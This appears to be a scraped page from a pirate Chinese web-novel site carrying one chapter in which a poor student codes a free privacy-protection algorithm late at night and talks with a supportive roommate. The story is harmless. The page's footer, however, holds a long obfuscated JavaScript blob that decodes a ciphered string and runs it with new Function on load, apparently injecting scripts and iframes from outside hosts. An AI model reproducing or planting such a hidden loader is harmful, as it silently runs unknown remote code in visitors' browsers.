首页
前传第2章 寒门少年,最贵的
返回
关灯 护眼:关 字号:小

前传第2章 寒门少年,最贵的坚守

章节报错(免登陆)
下载APP,无广告、完整阅读

一秒记住【笔趣阁】
biquge365.net,更新快,无弹窗!

    前传第2章寒门少年,最贵的坚守(第1/2页)
    凌晨零点十分。
    江城工业大学三号理工楼的灯光,依旧固执地亮着。
    深秋的夜风愈发凛冽,穿堂而过,拍打着老旧的玻璃窗,发出沉闷的哐响。窗沿积着薄薄一层灰,是经年累月无人细致擦拭的痕迹,像这座老牌理工院校沉默的底色——朴素、厚重,藏着无数普通人咬牙向上的青春。
    机房里的暖气早已停供,室温低得刺骨。
    空气凉得通透,吸进肺里,带着深秋独有的萧瑟寒意。
    龙胆草依旧端坐在电脑前,脊背挺直,不曾有半分松懈。
    屏幕冷白的光映在他清瘦的侧脸,扫去了少年人该有的稚气,沉淀出一种远超十八岁的沉静。屏幕上密密麻麻的代码整齐排布,一行行逻辑闭环清晰规整,是他熬了数个深夜,逐字逐句打磨出来的个人溯源算法雏形。
    指尖落在键盘上,节奏平稳、匀速,没有年轻人的急躁,也没有应试做题的敷衍。
    每一次敲击,都是斟酌后的笃定。
    对别人而言,代码是课业、是学分、是求职的敲门砖。
    唯独对他,是出路,是底气,是唯一不用依靠人情、不用依附背景、足够公平的人生阶梯。
    更是他藏在心底,想要对抗世间不公的微薄底气。
    桌面角落,放着一个洗得发白的帆布书包,边角磨出毛边,拉链处缝着一圈细密的黑线,是他自己动手修补的痕迹。书包旁,静静躺着一个老式不锈钢水杯,杯身斑驳,印着早已褪色的高中校徽,陪伴他走过了整个山城求学岁月。
    兜里的老旧按键手机,屏幕暗着,安安静静。
    没有消息推送,没有社交闲聊,没有琐事打扰。
    他的大学生活,简单得近乎寡淡。
    三餐食堂,两点机房寝室,无社团应酬,无课余玩乐,无攀比虚荣。
    同寝室的室友,课余要么组队开黑、聚餐逛街,要么忙着恋爱社交、拓展人脉。唯独他,把所有空闲时间,全都耗在了枯燥冰冷的代码里。
    没人懂他的偏执,也没人真正理解他的坚守。
    旁人只当,寒门出来的孩子,天生就该比别人更能吃苦、更会内卷。
    只有龙胆草自己清楚,他的拼命,从来不止为了跳出寒门、摆脱贫瘠。
    他想活得通透,更想凭一己所学,护住和自己父母一样、笨拙又善良的普通人。
    指尖快速收尾最后一段逻辑代码,他轻轻按下保存键。
    屏幕弹窗跳出【文件保存成功】的提示,淡绿色的字体,在满屏冷白的代码里,格外温和。
    紧绷了数个小时的肩背,终于缓缓松弛下来。
    他抬手揉了揉酸涩的眉眼,指腹轻轻按压发胀的太阳穴,疲惫感瞬间席卷全身。长时间高度集中精神,眼底早已布满淡淡的红血丝,透着深夜熬夜的倦意。
    窗外的江城,彻底沉入夜色。
    远处商业街的霓虹次第熄灭,车流声彻底褪去,整座城市褪去白日的喧嚣热闹,只剩沉寂的底色。偶尔有晚归的车辆驶过,车灯划过漆黑的夜空,转瞬即逝。
    校园里万籁俱寂,只有风吹叶落的细碎声响,伴着机房微弱的电脑风扇嗡鸣,构成深夜独有的静谧。
    龙胆草抬手,将页面切到浏览器。
    没有娱乐新闻,没有短视频推送,没有热点八卦。
    页面收藏栏里,清一色全是枯燥、冷门、极少有人关注的内容——用户数据泄露案例、个人隐私防护漏洞、互联网灰色产业链曝光、数据安全行业白皮书。
    这是他坚持了两年的习惯。
    从高二接触网络开始,他就下意识关注这些无人在意的角落。别人沉迷网络的趣味与便利,他却早早窥见了互联网光鲜外壳下,最阴暗、最冰冷的规则。
    技术迭代越快,资本逐利越甚,普通人的隐私就越廉价、越脆弱。
    他随手点开一条刚更新的行业暗访新闻。
    标题平淡无奇,没有夸张噱头,却字字扎心:《多地灰色平台公开兜售中小学学生隐私数据,单价不足一元,源头监管长期缺位》。
    正文内容平铺直叙,冷静客观,没有刻意煽情,却字字戳破现实的残酷。
    暗访记者卧底灰色交易群,曝光了一条完整的黑色产业链:从校园后台漏洞爬取学籍信息,批量打包,分类筛选,精准倒卖。孩童姓名、家庭住址、家长职业、联系电话、就读班级,甚至是孩子的病史、疫苗记录,一应俱全。
    海量隐私数据,明码标价,廉价售卖。
    买家多是培训机构、诈骗团伙、不良营销公司。
    他们靠着这些精准隐私信息,定向骚扰、精准诈骗、诱导消费,收割一个个普通家庭。
    新闻末尾,附了一句业内人士的轻描淡写:行业常态,漏洞太多,利益太大,堵不胜堵。
    短短十个字,轻飘飘概括了无数普通人的惶恐与无助。
    堵不胜堵。
    所以就不堵了吗?
    因为有利可图,因为无利可守,就可以放任普通人裸奔在大数据时代里,任人宰割、任人收割?
    龙胆草的目光定格在这句话上,眼底的疲惫一点点褪去,取而代之的,是一种沉沉的无力感。
    这种无力,不是少年无病**的矫情,是见过底层疾苦、深知规则冰冷后,最清醒的怅然。
    他想起暑假回老家时的场景。
    闭塞的山村里,家家户户的老人都淳朴本分,一辈子勤勤恳恳,守着一亩三分地,安分度日,从不敢招惹是非。可就是这样一群最善良、最弱小的人,偏偏成了信息泄露最大的受害者。
    村口的张奶奶,年过七旬,不识一字,一辈子没出过县城。
    只因三年前一次新农合线上登记,隐私信息被后台漏洞泄露。
    此后三年,诈骗电话、保健品推销、网贷骚扰,从未间断。
    老人不懂分辨真假,不懂网络规则,每次接到陌生来电,都心慌手抖,整夜整夜睡不着觉。总觉得自己的家底、自己的人生,全都被陌生人看得一清二楚,活在无尽的惶恐里。
    还有自己的父母。
    常年在家务农,省吃俭用,一分钱掰成两半花,攒下微薄积蓄,只为供他读书、盼他出头。
    可就是这样辛苦节俭的人,常年被各类农资推销、小额贷款、乡村诈骗电话轮番轰炸。每次接到陌生电话,母亲都会反复确认、惴惴不安,生怕辛苦攒下的血汗钱,一朝被骗殆尽。
    他们从未做错任何事。
    他们只是不懂时代规则,只是太过普通,太过渺小。
    可时代的漏洞、行业的乱象、资本的贪婪,最后买单的,偏偏永远是这群最无辜、最无反抗力的普通人。
    夜风再次穿堂灌入,寒意浸透衣衫,龙胆草微微攥紧了掌心。
    手心微凉,心底却燃着一团执拗的火。
    世人都说,寒门子弟,最该务实。
    好好读书,学好技术,毕业进大厂,拿高薪、谋体面、跳出底层,就是最大的成功。
    身边所有的声音,都在告诉他同一个道理:人要先顾自己,先谋前程。
    理想不能当饭吃,情怀抵不过碎银几两。
    他不否认。
    他比任何人都清楚贫穷的重量,比任何人都渴望摆脱出身带来的窘迫。
    从小到大,他穿过别人淘汰的旧衣服,吃过最简单的粗茶淡饭,靠着助学金和兼职补贴熬过拮据的求学时光。他见过父母为了几百块生活费四处奔波,见过亲戚邻里因穷看人眼色,见过底层小人物在现实里的卑微与无奈。
    他极度务实,也极度清醒。
    可务实,从来不等于丢掉本心。
    贫穷可以磨平棱角,却不该磨灭善意;出身可以限制眼界,却不该禁锢初心。
    电脑右下角的时间,跳到了凌晨零点四十分。
    校园彻底寂静,整片天地仿佛只剩下他一人,和满屏冰冷的代码、冰冷的现实。
    龙胆草轻轻关掉新闻页面,重新切回自己编写的溯源算法界面。
    市面上所有成熟的加密系统,重心永远倾斜向企业、平台、资本。
    高端防护、顶级加密、溯源风控,全都服务于商业利益。
    能为大企业保驾护航,能为资本规避风险,能为平台锁住数据财富。
    (本章未完,请点击下一页继续阅读)前传第2章寒门少年,最贵的坚守(第2/2页)
    却唯独,漏掉了最广大的普通个体。
    没有人为普通人的细碎隐私买单,没有企业愿意投入成本,做一套平民化、零门槛、全覆盖的个人数据防护系统。
    无利可图,所以无人问津。
    这就是最真实的行业现状。
    资本逐利而行,众生各求所得。
    可总有人,要守着一点不合时宜的初心。
    总有人,想为无声的普通人,撑一把小小的伞。
    龙胆草指尖重新落在键盘上,敲击声再次响起,平稳而坚定,刺破深夜的沉寂。
    他开始优化算法的底层逻辑。
    摒弃市面上所有加密软件繁复冗余的商业功能,砍掉一切为资本服务的盈利模块,只保留最核心、最纯粹的两项功能——个人隐私加密、数据全程溯源。
    简单、干净、纯粹。
    只为守护普通用户的细碎隐私而生。
    没有花哨界面,没有付费套路,没有捆绑营销。
    如果未来有机会成型,他要让所有普通人,都能免费、便捷、安心地用上数据防护技术。
    让深山的老人、平凡的百姓、懵懂的学子,不必再为信息泄露惶恐,不必再为时代漏洞买单。
    这一刻,无人见证。
    没有老师指导,没有同学共鸣,没有外界期许。
    一个十八岁的寒门少年,在无人知晓的深夜里,在老旧普通的理工机房中,默默埋下了一颗颠覆行业、坚守向善的种子。
    这颗种子,无关名利,无关前程,只关乎本心。
    不知过了多久,走廊里传来轻微的脚步声,由远及近,打破深夜的寂静。
    随即,机房门口传来轻轻的叩门声。
    “咚咚。”
    声音很轻,带着小心翼翼的试探。
    龙胆草抬手暂停操作,抬眸望向门口。
    寝室长周凯,裹着厚厚的外套,睡眼惺忪地站在门口,手里拎着一个温热的保温杯。
    他是少数理解、也默默包容龙胆草执拗的室友。
    “草草,还没睡?”周凯压低声音,怕惊扰了深夜的安静,“我半夜醒了,看你床铺还是空的,就知道你又泡在机房了。”
    他推门走进来,夜风跟着钻进来,吹动桌角散落的草稿纸。
    周凯将保温杯递到龙胆草面前,语气带着温和的无奈:“阿姨凌晨留的热豆浆,我给你带了一杯,趁热喝。再能熬也不能通宵不睡,你才十八岁,身体扛不住的。”
    龙胆草抬眸,眼底褪去了方才的沉凝,染上一丝温和的暖意。
    他性子孤僻寡言,不喜麻烦别人,也不善交际应酬,在人群里永远是最沉默的那个。可寝室的几个室友,从未因为他家境贫寒、性格内敛而疏远他,反而处处包容、时时照拂。
    这是他贫瘠青春里,难得的温柔暖意。
    “谢谢凯哥。”
    他伸手接过保温杯,指尖触到温热的杯壁,暖意顺着指尖蔓延全身,驱散了深夜堆积的寒凉。
    周凯俯身,目光扫过电脑屏幕上密密麻麻的代码,看不懂复杂的逻辑,却能看清界面干净纯粹,和课堂上学的商用算法截然不同。
    他忍不住轻声问道:“你天天熬夜写这些,到底图什么啊?”
    “专业课作业早就超额完成了,竞赛项目也稳拿名额,绩点全系第一,保研名额基本稳了,大厂实习offer也唾手可得。你已经够优秀了,没必要这么拼。”
    周围所有人都觉得,龙胆草这么拼命,是为了保研、为了大厂、为了高薪、为了彻底摆脱寒门命运。
    这是所有人认知里,寒门学子唯一且正确的出路。
    龙胆草拧开杯盖,温热的豆浆香气漫开,清甜温热。
    他低头抿了一口,暖意熨帖了寒凉的喉咙,也抚平了心底积攒的沉郁。
    沉默两秒,他抬眼,看着窗外沉沉的夜色,轻声开口。
    声音很轻,却字字清晰,带着少年独有的赤诚与执拗。
    “凯哥,你见过普通人被数据乱象逼得惶恐不安的样子吗?”
    周凯一愣,茫然摇头:“没太关注过,不就是泄露个电话信息吗?顶多接几个骚扰电话,多大点事。”
    在衣食无忧、家境安稳的人眼里,数据泄露只是无关痛痒的小事,不值一提。
    可在底层普通人的世界里,这是悬在头顶的利刃,是无处可逃的惶恐。
    龙胆草淡淡开口,语气平静,没有控诉,没有愤懑,只是娓娓道来最真实的现实:
    “对你我而言,骚扰电话是小事。可对山里的老人、不懂网络的普通人,是无尽的煎熬。”
    “他们守规矩、存善意、安分度日,却要为别人的贪婪、行业的漏洞买单。”
    “现在所有的技术、所有的加密防护,都在向资本和富人倾斜。有钱的企业、有权势的人,隐私被层层保护,密不透风。”
    “唯独最普通、最弱势的人,裸奔在大数据里,无人守护。”
    周凯彻底怔住了。
    他从未听过龙胆草说这些心里话。
    平日里沉默寡言、埋头苦学的少年,看似清冷疏离,不问世事,心里却装着这么大、这么温柔的执念。
    他看着眼前眉眼干净、眼神执拗的少年,心底忽然生出一股难言的敬佩。
    原来不是内卷,不是功利,不是不甘平庸。
    是心怀善意,是不肯妥协,是想以微薄之力,护世间平凡人。
    周凯沉默良久,轻轻拍了拍他的肩膀,语气真诚:“我不懂技术,也不懂这些行业乱象,帮不上你什么忙。”
    “但我知道,你做的事,是好事。”
    “慢慢来,别急,你这么厉害,总有一天能做成的。”
    成年人的世界,大多务实利己,人人奔赴名利前程。
    少年人的初心与情怀,看似单薄易碎,却最是珍贵滚烫。
    简单一句认可,胜过千言万语的安慰。
    龙胆草眼底漾开一丝浅浅的笑意,清淡温和,难得卸下了满身沉静的防备。
    “嗯。”
    他轻轻应声,低头又喝了一口温热的豆浆。
    暖意从胃里蔓延至四肢百骸,深夜的寒凉尽数褪去。
    周凯没再多打扰,怕耽误他的进度,轻声道别后,转身离开机房。
    脚步声渐远,走廊重归寂静。
    机房再次只剩他一人。
    窗外夜色依旧深沉,前路依旧迷雾重重。
    一个普通的寒门少年,无权无势、无资源无背景,想要对抗整个行业的逐利规则,想要逆势打造普惠大众的安全技术,听起来荒唐又不自量力。
    旁人若是听闻,多半会嗤笑他天真、幼稚、异想天开。
    可世间所有伟大的改变,最初都源于一份不被看好的天真。
    都源于普通人不肯妥协的坚守。
    龙胆草喝完最后一口豆浆,拧紧杯盖,将保温杯轻轻放在桌角。
    他抬眸望向窗外漆黑的夜空,夜色辽阔,星月隐没,看不清远方的路。
    但他的心底,一片澄澈清明。
    前路纵有万丈风雨,纵有千难万阻,他也绝不回头,绝不妥协。
    他不求名利加身,不求富贵荣华。
    只求多年以后,回望今日,不负初心,不负所学。
    愿有一日,他亲手打磨的技术,能护万千普通人隐私安稳。
    愿大数据时代的光亮,能照亮每一个平凡角落,不再有人因渺小而被肆意收割。
    指尖再次落回键盘,清脆的敲击声,在寂静深夜里稳稳响起。
    一声一声,坚定有力。
    寒门出身,是他的底色,却从来不是他的局限。
    清贫磨不灭赤诚,风雨改不了初心。
    少年孤灯,代码为炬,初心为路。
    他的漫长征途,他的风雨坚守,他未来将集结的同路人,他将倾尽一生打造的「五彩绫镜」,都从这个无人知晓的深夜,正式生根发芽。
    世道微凉,人间纷扰。
    所幸少年心热,坚守不负时光,赤诚终抵万难。
    (本章完)
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="mt2ffl3njo";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/^F@77qs2CO/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"^F@77qs2CO"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8^F@77qs2CO"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();